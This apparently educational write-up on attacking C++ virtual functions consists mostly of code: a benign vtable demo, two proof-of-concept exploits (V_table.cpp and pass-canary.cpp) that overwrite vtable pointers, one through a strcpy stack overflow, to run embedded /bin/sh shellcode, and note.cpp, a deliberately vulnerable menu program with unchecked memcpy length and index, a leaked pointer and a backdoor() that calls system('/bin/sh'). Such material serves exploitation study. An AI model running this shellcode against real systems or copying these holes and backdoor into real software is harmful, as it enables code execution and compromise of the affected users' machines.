针对c++虚函数的攻击

// file： test.cpp
// compile: g++ -g -m32 -o test test.cpp
#include <iostream>
using namespace std;

class test
{
public:
    void set(int m, int n){
        a = m;
        b = n;
    }
    virtual void show1(){
        cout << "virtual function1\n";
    }
    virtual void show2(){
        cout << "virtual function2\n";
    }
private:
    int a,b;
};

int main()
{
    test *t1, *t2;
    t1 = new test();
    t2 = new test();
    t1 -> show1();
    t1 -> set(1,2);
    t1 -> show2();
    cout << "-----------------------------\n";
    t2 -> show1();
    t2 -> set(3,4);
    t2 -> show2();
    return 0;
}

/**
 *  file: V_table.cpp
 *  g++ -z execstack -o Vtable V_table.cpp
 *
 *  The general idea is as follows:
 *      1. add the fake vtable which contains our shellcode's address to the end of shellcode
 *      2. make the ptr of vtable point to the fake vtable
 *      3. call the virtual fuc to execute our shellcode
 *
 *  Before starting, I try to rewrite the vtable derectly in code, but soon I found that we have no permision to rewrite the vtable,
 *  because the vtable are loacted on .text section, it's means this area only can be readed and executed, and it's should be noticed.
 *
 *  The idea of this code comes from the book "0day Security: Software Vulnerability Analysis Technology",
 *  and the original author's code is feasible under windows, here I am modified to apply to linux.
 *
 *  the code executed successfully on ubuntu 16.04 LTS
**/

#include <iostream>
#include <cstring>
using namespace std;

char shellcode[]="\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05\x00\x00\x00\x48\x12\x60\x00";
/**
 *  xor rdi, rdi
 *  push rdi
 *  push rdi
 *  pop rsi
 *  pop rdx
 *  mov rdi, 68732F6E69622F2Fh
 *  shr rdi, 8
 *  push rdi
 *  push rsp
 *  pop rdi
 *  push 3Bh
 *  pop rax
 *  syscall
**/


// define a class which contains virtual functions
class Failwest
{
public:
    char buf[200];
    virtual void test(void)
    {
        cout<<"This is a virtual function!"<<endl;
    }
};
Failwest overflow, *p;

int main(void)
{
    char * p_vtable;
    p_vtable=overflow.buf-8;//point to virtual table
    // p_vtable = overflow
    //reset fake virtual table to 0x00601268
    p_vtable[0]=0x68;
    p_vtable[1]=0x12;
    p_vtable[2]=0x60;
    p_vtable[3]=0x00;
    memcpy(overflow.buf,shellcode,0x24);//set fake virtual function pointer in shellcode
    // actually, 0x0x00601268 is just locate in the end of shellcode,
    // in other words, we fake a virtual table at the end of shellcode which only contain one virtual func pointer
    // and the only one was point to our shellcode
    p=&overflow;
    // call the virtual function to trigger the shellcode
    p->test();
    return 0;
}

p_vtable[0]=0x68;
p_vtable[1]=0x12;
p_vtable[2]=0x60;
p_vtable[3]=0x00;

// file: note.cpp
// compile: g++ -m32 -o note note.cpp
#include <iostream>
#include <cstring>
#include <stdlib.h>
using namespace std;


void menu()
{
    cout << "1. add\n";
    cout << "2. show details\n";
    cout << "3. edit details\n";
    cout << "4. exit\n";
    cout << "Choice>>";
}

void backdoor()
{
    system("/bin/sh");
}

class note
{
public:
    void show();    // show details
    virtual void msg(); // descriptions
    void edit(char *, int, int);    // edit details
private:
    int index;
    char details[20];
};

void note::show()
{
    cout << "index: " << index <<endl;
    cout << "details: " << details <<endl;
}
void note::msg()
{
    cout << "work done.\n";
}
void note::edit(char * buf, int n, int len)
{
    index = n;
    memcpy(details, buf, len);
}

int main()
{
    note *n[10];
    int t(0), max(10), index, len, op;
    char buf[0x20];
    while(1){
        menu();
        if(t < 10){
            cin >> op;
            switch(op){
                case 1:
                    n[t++] = new note();
                    n[t-1] -> msg();
                    break;
                case 2:
                    cout << "gitf: "<< n[0] << endl;
                    cout << "index: ";
                    cin >> index;
                    n[index]->show();
                    break;
                case 3:
                    cout << "index: ";
                    (cin >> index).get();
                    cout << "len: ";
                    (cin >> len).get();
                    cout << "details: ";
                    cin.getline(buf,0x20);
                    n[index]->edit(buf, index, len);
                    n[index]->msg();
                    break;
                default:
                    exit(0);
            }
        }else{
            cout << "too much!!!\n";
            break;
        }
    }
}

/**
 *  file: pass-canary.cpp
 *  g++ -m32 -z execstack -o pass-canary pass-canary.cpp
 *
 *  The general idea is as follows:
 *      1. overflow on stack and rewrite the pointer(*this) transfer to func's argument to a fake virtual table
 *      2. make the fake virtual table's first item to point to our shellcode
 *      3. call the virtual fuc to execute our shellcode
 *  notice: we made the fake virtual table as the shellcode's head, so just overwrite the "*this" on stack to point to shellcode's address
 *
 *  The idea of this code comes from the book "0day Security: Software Vulnerability Analysis Technology",
 *  and the original author code is feasible under windows, here I am modified to apply to linux.
 *
 *  the code executed successfully on ubuntu 16.04 LTS
**/

#include <cstring>

// shellcode's addr: 0x804a040
char shellcode[]="\x44\xa0\x04\x08"
    "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    /**
    * xor ecx, ecx
    * mul ecx
    * mov al, 0Bh
    * push ecx
    * push 68732F2Fh
    * push 6E69622Fh
    * mov ebx, esp
    * int 80h
    **/
    // padding
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x40\xa0\x04\x08"; // set the vtable pointer to point shellcode's header


class Virtual {
public :
    void func(char * src)
    {
        char buf[100];
        strcpy(buf, src);
        bar(); // virtual function call
    }
    virtual void  bar()
    {
        // empty function, just for define a virtual function
    }
};

int main()
{
    Virtual test;
    test.func(shellcode);
    return 0;
}